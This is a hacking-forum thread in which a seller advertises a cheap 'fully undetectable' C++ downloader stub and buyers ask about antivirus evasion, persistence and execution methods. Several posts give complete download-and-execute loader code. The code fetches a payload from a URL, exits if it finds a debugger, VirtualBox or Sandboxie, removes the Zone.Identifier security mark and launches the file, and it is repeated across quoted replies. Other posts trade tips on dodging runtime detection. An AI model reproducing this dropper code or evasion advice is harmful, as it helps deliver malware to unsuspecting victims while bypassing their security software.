

Forum:[Hack Forums](#)

Thread: [\[Native Downloader c++ No dependencies 17KB \\$3 \]](#)

jcbullet - June 16, 2018, 2:25 pm

(Jun 16, 2018 02:25 PM)jcbullet Wrote: [\[CITE\]](#)
<http://spyralscanner.com/result/uyXtHdVlrqh6z2fQqUAL>

THIS IS \$3 PER BUILD

Juffar - June 16, 2018, 3:22 pm

Will it crypt the file you choose too or is the runtime fud simply for the stub of the downloader?

jcbullet - June 16, 2018, 3:50 pm

(Jun 16, 2018 03:22 PM)Juffar Wrote: [\[CITE\]](#) Will it crypt the file you choose too or is the runtime fud simply for the stub of the downloader?
The stub itself is undetectable ,

Thank you,

Juffar - June 16, 2018, 3:59 pm

(Jun 16, 2018 03:50 PM)jcbullet Wrote: [\[CITE\]](#) The stub itself is undetectable ,

Thank you,
Then how come the stub size is so big?

jcbullet - June 16, 2018, 4:18 pm

(Jun 16, 2018 03:59 PM)Juffar Wrote: [\[CITE\]](#) Then how come the stub size is so big?
You are quite right, It is pretty high, I forgot VS likes to increase file size, I have amended the compiler settings and it is now producing 17KB executable with no icon.

Thank you,

Hi Guys this is still going Hit me up !

Hi Guys this is still going Hit me up !

jcbullet - June 18, 2018, 12:39 am

This is still going guys, Excellent value for money.

A Kitty - June 18, 2018, 4:33 am

(Jun 16, 2018 04:18 PM)jcbullet Wrote: [\[CITE\]](#) You are quite right, It is pretty high, I forgot VS likes to increase file size, I have amended the compiler settings and it is now producing 17KB executable with no icon.

Thank you,

Hi Guys this is still going Hit me up !

Hi Guys this is still going Hit me up !

Are you sure that works with no dependencies? Check it on a fresh VM. If you changed from MT to MD, you'll need MSVCP or similar on the computer you run the Downloader on.

jcbullet - June 18, 2018, 5:50 am

(Jun 18, 2018 04:33 AM)A Kitty Wrote: [\[CITE\]](#) Are you sure that works with no dependencies? Check it on a fresh VM. If you changed from MT to MD, you'll need MSVCP or similar on the computer you run the Downloader on.

Noted , I will check this and feedback.

inyourmemory - June 18, 2018, 5:57 am

17KB is very very big for downloader. Try to cut your size down.

jcbullet - June 18, 2018, 1:01 pm

(Jun 18, 2018 05:57 AM)Win64Worm Wrote: [\[CITE\]](#) 17KB is very very big for downloader. Try to cut your size down.

It contains some runtime bypasses aswell but i agree it is large.

Lextian - June 18, 2018, 9:25 pm

Will you be able to add a error message box on the build, like when they execute the downloaderstub.exe it should print an error message? If yes pm me will buy this to test out, Thanks.

jcbullet - June 19, 2018, 10:35 am

(Jun 18, 2018 09:25 PM)Lextian Wrote: [\[CITE\]](#) Will you be able to add a error message box on the build, like when they execute the downloaderstub.exe it should print an error message? If yes pm me will buy this to test out, Thanks.

Yes - this can be completed with no issues.

Please PM with details .

Regards

Lextian - June 28, 2018, 11:37 pm

Hey OP, what is going on am still waiting your response, or i can buy now to test this out.

Ojayz2016 - June 30, 2018, 10:30 pm

please pm me your contacts for payment

Lextian - June 30, 2018, 10:55 pm

Vouch for this tool, works fine, TY OP.

Mac_Tonight - July 1, 2018, 6:51 am

Are you selling the builder?

Judge Dr3dd - July 1, 2018, 7:41 pm

hey sir, I would like to know if you still selling ?

jcbullet - July 2, 2018, 2:18 am

Hi All Apologies i have been away at work.

I am still selling - Will be able to fulfill orders in the next 8 hours.

PM please.

love you 2 - July 2, 2018, 7:45 am

could you please add

* download and execute the stub each 2 hours if the user is online "from a direct link"?

*overwrite the old stub to the new one without administrator permission

MonsterPrograms - July 2, 2018, 11:12 am

very cheap and promising good luck with sales

jcbullet - July 2, 2018, 11:18 am

(Jul 2, 2018 07:45 AM)love you 2 Wrote: [\[CITE\]](#) could you please add

* download and execute the stub each 2 hours if the user is online "from a direct link"?

*overwrite the old stub to the new one without administrator permission

Yes this can be done, PM me if you wish to proceed.

Still doing guys pm me for requests

Lextian - July 3, 2018, 2:22 am

Vouch for this seller, and his Tool, Tested and works fine, cheers :)

cybercartel - July 3, 2018, 7:37 am

sent you a pm, very interested!

Excelent downloader! really good guy! Thank you very much, I will come back for sure.

jcbullet - July 4, 2018, 5:41 am

Still doing builds guys, PM for more information

inyourmemory - July 4, 2018, 6:45 am

is URLToDownloadFile used? What method do you execute the file?

jcbullet - July 4, 2018, 8:21 am

(Jul 4, 2018 06:45 AM)Win64Worm Wrote: [\[CITE\]](#) is URLToDownloadFile used? What method do you execute the file?

There are a few methods which are used, URLToDownloadFile - would be one of them.

Execution can be from CreateProcess or ShellExecute.

Thank you,

RascalPascal - July 4, 2018, 8:28 am

(Jul 4, 2018 08:21 AM)jcbullet Wrote: [\[CITE\]](#) There are a few methods which are used, URLToDownloadFile - would be one of them.

Execution can be from CreateProcess or ShellExecute.

Thank you,

Why would you even consider using shellexecute?

The function name is not urlTODownloadfile, its urldownloadtofile and that function is not ideal for being used in downloaders in many ways.

inyourmemory - July 4, 2018, 8:31 am

(Jul 4, 2018 08:28 AM)RascalPascal Wrote: [\[CITE\]](#) Why would you even consider using shellexecute?

The function name is not urlTODownloadfile, its urldownloadtofile and that function is not ideal for being used in downloaders in many ways.

my mistake. i always mess up that api name

jcbullet - July 4, 2018, 8:43 am

(Jul 4, 2018 08:28 AM)RascalPascal Wrote: [\[CITE\]](#) Why would you even consider using shellexecute?

The function name is not urlTODownloadfile, its urldownloadtofile and that function is not ideal for being used in downloaders in many ways.

I Agree but it is very cheap and it works :).

Thank you

RascalPascal - July 4, 2018, 8:51 am

(Jul 4, 2018 08:43 AM)jcbullet Wrote: [\[CITE\]](#) I Agree but it is very cheap and it works :).

Thank you

Well at least you are honest ;)

And in that case I wish you best of luck with sales.

G0dzSoldiers - July 8, 2018, 4:09 pm

MIght wanna try this pm me

jcbullet - July 9, 2018, 9:54 am

(Jul 8, 2018 04:09 PM)G0dzSoldiers Wrote: [\[CITE\]](#) MIght wanna try this pm me
Hi,

PM as requested for downloader

love you 2 - July 10, 2018, 2:50 am

sent PM please check your inbox

NLSProductions - July 10, 2018, 2:58 am

Looks cool is this a builder or configured by yourself?

Also how much would you want to sell the project?

watchto4ll - July 11, 2018, 1:19 am

PM me im interested

thanks

jcbullet - July 11, 2018, 9:38 am

(Jul 10, 2018 02:58 AM)NLSProductions Wrote: [\[CITE\]](#) Looks cool is this a builder or configured by

yourself?

Also how much would you want to sell the project?

I make each build also I can sell you a downloader project if you want but it will be .net 2.0

G0dzSoldiers - July 12, 2018, 1:46 pm

Vouch for jcbullet his services is legit stub is small and works.

jcbullet - July 15, 2018, 12:10 pm

Still going guys 100% fud scan and runtime :)

Twistd - July 15, 2018, 3:43 pm

Not to trash your shit but a downloader can easily be coded in VS down to like 4kb.

Plus why exactly are you dropping files? Why don't you just download payload and execute it directly in memory without even touching the disk?

jcbullet - July 16, 2018, 10:29 am

(Jul 15, 2018 03:43 PM)Twistd Wrote: [\[CITE\]](#) Not to trash your shit but a downloader can easily be coded in VS down to like 4kb.

Plus why exactly are you dropping files? Why don't you just download payload and execute it directly in memory without even touching the disk?

Yes i know, This also includes anti emulation techniques and has been fud scan and runtime for many weeks. Also - any process hollowing will get detected very easily after time because avs know that no legit program mimics the windows process loader.

Thank you,

jcbullet - July 20, 2018, 2:34 am

This is still going guys get in touch scan and runtime fud

jcbullet - July 26, 2018, 6:21 am

Hi everyone fresh stub made builds ready

jcbullet - July 29, 2018, 8:26 am

New stub made get at me guys over 10 customers satisfied

travisci - August 4, 2018, 2:56 am

Do you guarantee runtime bypass?

linkups707 - August 7, 2018, 10:27 pm

Do you guarantee runtime bypass?

jcbullet - August 8, 2018, 3:23 am

(Aug 7, 2018 10:27 PM)linkups707 Wrote: [\[CITE\]](#) Do you guarantee runtime bypass?

For the majority of AV yes correct.

jcbullet - August 9, 2018, 5:30 am

Still available guys pm me

narc0tic - August 9, 2018, 6:29 am

I am very sure URLDownloadToFile is not runtime undetected.

Also, you are using /NODEFAULTLIB right?

17kb is unusually large.

GLWS though.

jcbullet - August 10, 2018, 7:38 am

(Aug 9, 2018 06:29 AM)narc0tic Wrote: [\[CITE\]](#) I am very sure URLDownloadToFile is not runtime undetected.

Also, you are using /NODEFAULTLIB right?

17kb is unusually large.

GLWS though.I am very sure URLDownloadToFile is not runtime undetected. - I thought it would but if you implement the right anti-emulation we get it fud runtime.

My downloader stub was fud rudiment for over 2 weeks, Then only getting one detection.

17Kb is large but it contains anti-emulation techniques :)

Thank you,

jcbullet - August 12, 2018, 3:01 am

Scan of current stub,

jcbullet - August 14, 2018, 4:18 am

Still available guys going to be refud tonight.

jcbullet - August 21, 2018, 2:33 am

Still available please pm for purchase fresh stub available

89486az - August 23, 2018, 1:05 am

Hello, this download work well ? fud ?

jcbullet - August 23, 2018, 1:49 am

(Aug 23, 2018 01:05 AM)89486az Wrote: [\[CITE\]](#) Hello, this download work well ? fud ?

Yes it works fine and will be fud.

89486az - August 23, 2018, 1:54 am

thanks for your reply.

Download & execute bypass AV ? run user mode ? or need admin perm ?

jcbullet - September 13, 2018, 7:13 am

New stub has been built, FUD please PM for orders.

jcbullet - September 15, 2018, 3:16 pm

Builds still available PM for purchase.

raghavsood999 - September 15, 2018, 8:58 pm

So the file will be downloaded using this fud down loader? Then how come the server.exe being downloaded will be fud ?

?ch?m?II?? - September 16, 2018, 9:25 am

OP. is your downloader sure to bypass browsers suspicious file fagging!?

jcbullet - September 16, 2018, 10:02 am

(Sep 16, 2018 09:25 AM)?ch?m?II?? Wrote: [\[CITE\]](#) OP. is your downloader sure to bypass browsers

suspicious file fagging!?

It should do as it's FUD. I haven't had any complaints.thank you

?ch?m?ll?? - September 16, 2018, 11:04 am

(Sep 16, 2018 10:02 AM)jcbullet Wrote: [\[CITE\]](#) It should do as it's FUD. I haven't had any complaints.thank you
check your pm mate

jcbullet - September 16, 2018, 12:10 pm

Scan of latest bin,

Still being sold pleaes PM for purchase. Thank you. FUD as always.

jcbullet - September 23, 2018, 12:21 pm

Still available guys , PM for purchase. FUD always,

inyourmemory - September 23, 2018, 2:37 pm

Runtime scans would be nice

jcbullet - September 24, 2018, 2:24 am

(Sep 23, 2018 02:37 PM)inyourmemory Wrote: [\[CITE\]](#) Runtime scans would be nice
I will provide one once i get a scanner. Still going !

ELExTrOfllis - September 26, 2018, 8:47 am

the downloader itselt doesnt need any bypass as its included on the windows api , anyway the executable is still big af it could be 6kb even hiding the procces and deleting the PE header just to be "more safe" but as i have said its windows api so no need to "be safe" even better can be written using curl aswell and it will remain "UD". Actually thinking about it i dont quite understand why would you scan an application that doesnt executes any "detected API"

jcbullet - September 27, 2018, 1:56 pm

still going guys pm for purchase.

This is still available for purchase guys! PM me

Skyrim Modding - September 29, 2018, 4:22 pm

Can someone post current detection ratios? Is it working still?

jcbullet - September 30, 2018, 3:54 am

(Sep 29, 2018 04:22 PM)SkyrimModding Wrote: [\[CITE\]](#) Can someone post current detection ratios?
Is it working still?

Right now its showing 1/32 (ESET)

<https://spyralscanner.net/result.php?id=TL1GXsJFe3>

But it is just a simple re-fud.

Skyrim Modding - September 30, 2018, 4:53 am

(Sep 30, 2018 03:54 AM)jcbullet Wrote: [\[CITE\]](#) Right now its showing 1/32 (ESET)

<https://spyralscanner.net/result.php?id=TL1GXsJFe3>

But it is just a simple re-fud.

Cool cool I might be interested in this in the future for FUD version, also if I can ask how exactly does a downloader work?

Does my payload.exe has to be FUD or UD for it to work or not?

Also how does it download the payload in person web browser while being open or hidden?

Thanks

p9ck4d - September 30, 2018, 2:56 pm

Why 17KB while mine could be 6-10KB with 1/67 on VT for over a month!

Dude this should be FREE, I even posted my Stub Free

Here, I'll post it as you seem to be ripping of people like HELL

Paste this as it's better than this product, sell this for more as it's worth more

If u say 1 detection isn't good, how is 17kb compared to "runtime bypasses"

Paste the Antis + anti memory scanner as It removes near every detection

```
Code #include <iostream>
```

```
#include <windows.h>
```

```
#include <tchar.h>
```

```
#include <urlmon.h>
```

```
#include <atlbase.h>
```

```
#include <stdlib.h>
```

```
#pragma comment(lib, "urlmon.lib")
```

```
#pragma comment(lib, "wininet.lib")
```

```
#pragma comment(lib, "Ole32.lib")
```

```
#pragma warning(disable : 4996)
```

```
int main()
```

```
{
```

```
    HKEY HK = 0;
```

```
    if (IsDebuggerPresent()) {
```

```
        return 1;
```

```
    }
```

```
    if (RegOpenKeyEx(HKEY_LOCAL_MACHINE,  
(LPCWSTR)"HARDWARE\\ACPI\\DSDT\\VBOX__", 0, KEY_READ, &HK) == ERROR_SUCCESS)
```

```
    {
```

```
        return 1;
```

```
    }
```

```
    if (LoadLibrary((LPCWSTR)"VBoxHook.dll") != NULL)
```

```
    {
```

```
        return 1;
```

```
    }
```

```
    if (GetModuleHandle((LPCWSTR)"sbiedll.dll") != NULL)
```

```
    {
```

```
        return 1;
```

```

}

if (GetModuleHandle((LPCWSTR)"dbghlp.dll") != NULL)
{
return 1;
}

char DirectoryW[120];
char DirectoryX[150];

strcpy(DirectoryW, getenv("APPDATA"));
strcat(DirectoryW, "\\randname");
strcpy(DirectoryX, "cmd /c start ");
strcat(DirectoryX, DirectoryW);
HRESULT HDR;

LPCTSTR urlW = _T("dwURL"), FileV = _T("randname");
HDR = URLDownloadToFile(0, urlW, FileV, 0, 0);

if (HDR == S_OK)
{

CComPtr<IZoneIdentifier> spzi;
spzi.CoCreateInstance(CLSID_PersistentZoneIdentifier);
spzi->SetId(0);
CComQIPtr<IPersistFile>(spzi)->Save((LPCOLESTR)DirectoryW, TRUE);
WinExec((LPCSTR)DirectoryX, 0);
}

else {
return 1;
}
}

```

jcbullet - September 30, 2018, 3:24 pm

(Sep 30, 2018 02:56 PM)p9ck4d Wrote: [\[CITE\]](#) Why 17KB while mine could be 6-10KB with 1/67 on VT for over a month!

Dude this should be FREE, I even posted my Stub Free

Here, I'll post it as you seem to be ripping of people like HELL
Paste this as it's better than this product, sell this for more as it's worth more

If u say 1 detection isn't good, how is 17kb compared to "runtime bypasses"
Paste the Antis + anti memory scanner as It removes near every detection
Code #include <iostream>
#include <windows.h>
#include <tchar.h>
#include <urlmon.h>
#include <atlbase.h>
#include <stdlib.h>

```

#pragma comment(lib, "urlmon.lib")
#pragma comment(lib, "wininet.lib")
#pragma comment(lib, "Ole32.lib")
#pragma warning(disable : 4996)

int main()
{
    HKEY HK = 0;
    if (IsDebuggerPresent()) {
        return 1;
    }

    if (RegOpenKeyEx(HKEY_LOCAL_MACHINE,
(LPCWSTR)"HARDWARE\ACPI\DSDT\VBOX__", 0, KEY_READ, &HK) == ERROR_SUCCESS)
    {
        return 1;
    }

    if (LoadLibrary((LPCWSTR)"VBoxHook.dll") != NULL)
    {
        return 1;
    }

    if (GetModuleHandle((LPCWSTR)"sbiedll.dll") != NULL)
    {
        return 1;
    }

    if (GetModuleHandle((LPCWSTR)"dbghlp.dll") != NULL)
    {
        return 1;
    }

    char DirectoryW[120];
    char DirectoryX[150];

    strcpy(DirectoryW, getenv("APPDATA"));
    strcat(DirectoryW, "\\randname");
    strcpy(DirectoryX, "cmd /c start ");
    strcat(DirectoryX, DirectoryW);
    HRESULT HDR;

    LPCTSTR urlW = _T("dwURL"), FileV = _T("randname");
    HDR = URLDownloadToFile(0, urlW, FileV, 0, 0);

    if (HDR == S_OK)
    {
        CComPtr<IZoneIdentifier> spzi;
        spzi.CoCreateInstance(CLSID_PersistentZoneIdentifier);
    }
}

```

```

spzi->SetId(0);
CComQIPtr<IPersistFile>(spzi)->Save((LPCOLESTR)DirectoryW, TRUE);
WinExec((LPCSTR)DirectoryX, 0);
}

else {
return 1;
}
}

```

Thanks but i do not understand why you are on my thread ?

Nutterino - September 30, 2018, 10:42 pm
 Bought this and it works insanely

PerfectStorm - September 30, 2018, 10:58 pm
 weird thoght it was older. One detection in my book is fine.

3DES - October 1, 2018, 12:18 pm
 (Sep 30, 2018 02:56 PM)p9ck4d Wrote: [\[CITE\]](#) Why 17KB while mine could be 6-10KB with 1/67 on VT for over a month!

Dude this should be FREE, I even posted my Stub Free

Here, I'll post it as you seem to be ripping of people like HELL
 Paste this as it's better than this product, sell this for more as it's worth more

If u say 1 detection isn't good, how is 17kb compared to "runtime bypasses"
 Paste the Antis + anti memory scanner as It removes near every detection

```

Code #include <iostream>
#include <windows.h>
#include <tchar.h>
#include <urlmon.h>
#include <atlbase.h>
#include <stdlib.h>

```

```

#pragma comment(lib, "urlmon.lib")
#pragma comment(lib, "wininet.lib")
#pragma comment(lib, "Ole32.lib")
#pragma warning(disable : 4996)

```

```

int main()
{
HKEY HK = 0;
if (IsDebuggerPresent()) {
return 1;
}

```

```

if (RegOpenKeyEx(HKEY_LOCAL_MACHINE,
(LPCWSTR)"HARDWARE\ACPI\DSDT\WBOX__", 0, KEY_READ, &HK) == ERROR_SUCCESS)
{
return 1;
}

```

```
if (LoadLibrary((LPCWSTR)"VBoxHook.dll") != NULL)
{
return 1;
}
```

```
if (GetModuleHandle((LPCWSTR)"sbiedll.dll") != NULL)
{
return 1;
}
```

```
if (GetModuleHandle((LPCWSTR)"dbghlp.dll") != NULL)
{
return 1;
}
```

```
char DirectoryW[120];
char DirectoryX[150];
```

```
strcpy(DirectoryW, getenv("APPDATA"));
strcat(DirectoryW, "\\randname");
strcpy(DirectoryX, "cmd /c start ");
strcat(DirectoryX, DirectoryW);
HRESULT HDR;
```

```
LPCTSTR urlW = _T("dwURL"), FileV = _T("randname");
HDR = URLDownloadToFile(0, urlW, FileV, 0, 0);
```

```
if (HDR == S_OK)
{
```

```
    CComPtr<IZoneIdentifier> spzi;
    spzi.CoCreateInstance(CLSID_PersistentZoneIdentifier);
    spzi->SetId(0);
    CComQIPtr<IPersistFile>(spzi)->Save((LPCOLESTR)DirectoryW, TRUE);
    WinExec((LPCSTR)DirectoryX, 0);
}
```

```
else {
return 1;
}
```

}This one does not require CRT or COM, minimal size 3KB. Only winapi is used, and unicode supported. Also cleaned code and proper error checking. Not sure how OP gets 17KB size, lol.
Code BOOL DownloadAndExecute(WCHAR* URL)
{

```
WCHAR FilePath[MAX_PATH + 1];
WCHAR ZoneIdPath[MAX_PATH + 1];
```

```
if (GetTempPathW(MAX_PATH + 1, FilePath) == 0)
```

```

{
return FALSE;
}
lstrcatW(FilePath, L"\\Filename.exe");

DWORD dwAttrib = GetFileAttributesW(FilePath);

if (dwAttrib != INVALID_FILE_ATTRIBUTES && !(dwAttrib & FILE_ATTRIBUTE_DIRECTORY))
{
DeleteFileW(FilePath);
}

if (URLDownloadToFileW(0, URL, FilePath, 0, 0) == S_OK)
{

RtlSecureZeroMemory(ZoneIdPath, sizeof(ZoneIdPath) / sizeof(ZoneIdPath[0]));
DWORD wb = 200;
lstrcatW(ZoneIdPath, FilePath);
lstrcatW(ZoneIdPath, L":Zone.Identifier");
HANDLE hFile = CreateFileW(ZoneIdPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_RANDOM_ACCESS, NULL);
if (hFile != INVALID_HANDLE_VALUE)
{
if (!WriteFile(hFile, "", 0, &wb, NULL))
{
CloseHandle(hFile);
return FALSE;
}
CloseHandle(hFile);
}

STARTUPINFOW info = { sizeof(info) };
PROCESS_INFORMATION processInfo;
if (CreateProcessW(FilePath, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &info, &processInfo))
{
return TRUE;
}
}
return FALSE;
}

```

jcbullet - October 1, 2018, 12:28 pm

(Oct 1, 2018 12:18 PM)3DES Wrote: [\[CITE\]](#) This one does not require CRT or COM, minimal size 3KB. Only winapi is used, and unicode supported. Also cleaned code and proper error checking. Not sure how OP gets 17KB size, lol.

Code BOOL DownloadAndExecute(WCHAR* URL)

```

{

```

```

WCHAR FilePath[MAX_PATH + 1];
WCHAR ZoneIdPath[MAX_PATH + 1];

```

```

if (GetTempPathW(MAX_PATH + 1, FilePath) == 0)
{
return FALSE;
}
lstrcatW(FilePath, L"\\Filename.exe");

DWORD dwAttrib = GetFileAttributesW(FilePath);

if (dwAttrib != INVALID_FILE_ATTRIBUTES && !(dwAttrib & FILE_ATTRIBUTE_DIRECTORY))
{
DeleteFileW(FilePath);
}

if (URLDownloadToFileW(0, URL, FilePath, 0, 0) == S_OK)
{

RtlSecureZeroMemory(ZoneIdPath, sizeof(ZoneIdPath) / sizeof(ZoneIdPath[0]));
DWORD wb = 200;
lstrcatW(ZoneIdPath, FilePath);
lstrcatW(ZoneIdPath, L":Zone.Identifier");
HANDLE hFile = CreateFileW(ZoneIdPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_RANDOM_ACCESS, NULL);
if (hFile != INVALID_HANDLE_VALUE)
{
if (!WriteFile(hFile, "", 0, &wb, NULL))
{
CloseHandle(hFile);
return FALSE;
}
CloseHandle(hFile);
}

STARTUPINFOW info = { sizeof(info) };
PROCESS_INFORMATION processInfo;
if (CreateProcessW(FilePath, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &info, &processInfo))
{
return TRUE;
}
}
return FALSE;
}
Well well well look whom it is again :).

```

p9ck4d - October 1, 2018, 1:32 pm

(Oct 1, 2018 12:18 PM)3DES Wrote: [\[CITE\]](#) This one does not require CRT or COM, minimal size 3KB. Only winapi is used, and unicode supported. Also cleaned code and proper error checking. Not sure how OP gets 17KB size, lol.

```

Code BOOL DownloadAndExecute(WCHAR* URL)
{

```

```

WCHAR FilePath[MAX_PATH + 1];
WCHAR ZoneldPath[MAX_PATH + 1];

if (GetTempPathW(MAX_PATH + 1, FilePath) == 0)
{
    return FALSE;
}
lstrcatW(FilePath, L"\\Filename.exe");

DWORD dwAttrib = GetFileAttributesW(FilePath);

if (dwAttrib != INVALID_FILE_ATTRIBUTES && !(dwAttrib & FILE_ATTRIBUTE_DIRECTORY))
{
    DeleteFileW(FilePath);
}

if (URLDownloadToFileW(0, URL, FilePath, 0, 0) == S_OK)
{
    RtlSecureZeroMemory(ZoneldPath, sizeof(ZoneldPath) / sizeof(ZoneldPath[0]));
    DWORD wb = 200;
    lstrcatW(ZoneldPath, FilePath);
    lstrcatW(ZoneldPath, L":Zone.Identifier");
    HANDLE hFile = CreateFileW(ZoneldPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS,
    FILE_ATTRIBUTE_NORMAL | FILE_FLAG_RANDOM_ACCESS, NULL);
    if (hFile != INVALID_HANDLE_VALUE)
    {
        if (!WriteFile(hFile, "", 0, &wb, NULL))
        {
            CloseHandle(hFile);
            return FALSE;
        }
        CloseHandle(hFile);
    }
}

STARTUPINFOW info = { sizeof(info) };
PROCESS_INFORMATION processInfo;
if (CreateProcessW(FilePath, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &info, &processInfo))
{
    return TRUE;
}
return FALSE;
}
(Oct 1, 2018 12:28 PM)jcbullet Wrote: \[CITE\] Well well well look whom it is again :).
CreateProcess is w
Bad, it gets flagged, winexec is better

```

3DES - October 1, 2018, 2:06 pm

(Oct 1, 2018 01:32 PM)p9ck4d Wrote: [\[CITE\]](#) CreateProcess is w

Bad, it gets flagged, winexec is betterWinExec is definitely not better, it does not even work with unicode.

p9ck4d - *October 1, 2018, 2:16 pm*

(Oct 1, 2018 02:06 PM)3DES Wrote: [\[CITE\]](#) WinExec is definitely not better, it does not even work with unicode.

It does when you know what your doing..

jcbullet - *October 1, 2018, 2:24 pm*

(Oct 1, 2018 02:16 PM)p9ck4d Wrote: [\[CITE\]](#) It does when you know what your doing..

You two need to get a room ?

RascalPascal - *October 1, 2018, 11:32 pm*

(Oct 1, 2018 01:32 PM)p9ck4d Wrote: [\[CITE\]](#) CreateProcess is w

Bad, it gets flagged, winexec is better

Its not better. Winexec internally calls CreateProcess and createprocess call createprocessinternal and You see where this is going...

What you are reffering is probably if there is createprocess in the iat its being detected but that means jack shit when it comes to runtime detections.

p9ck4d - *October 2, 2018, 12:50 pm*

(Oct 1, 2018 11:32 PM)RascalPascal Wrote: [\[CITE\]](#) Its not better. Winexec internally calls CreateProcess and createprocess call createprocessinternal and You see where this is going...

What you are reffering is probably if there is createprocess in the iat its being detected but that means jack shit when it comes to runtime detections.

I never had runtime detections with winexec, just my experience

Hackism - *October 7, 2018, 5:07 pm*

writing to come back for this.

jcbullet - *October 9, 2018, 10:53 am*

Builds are still available guys, Thank you.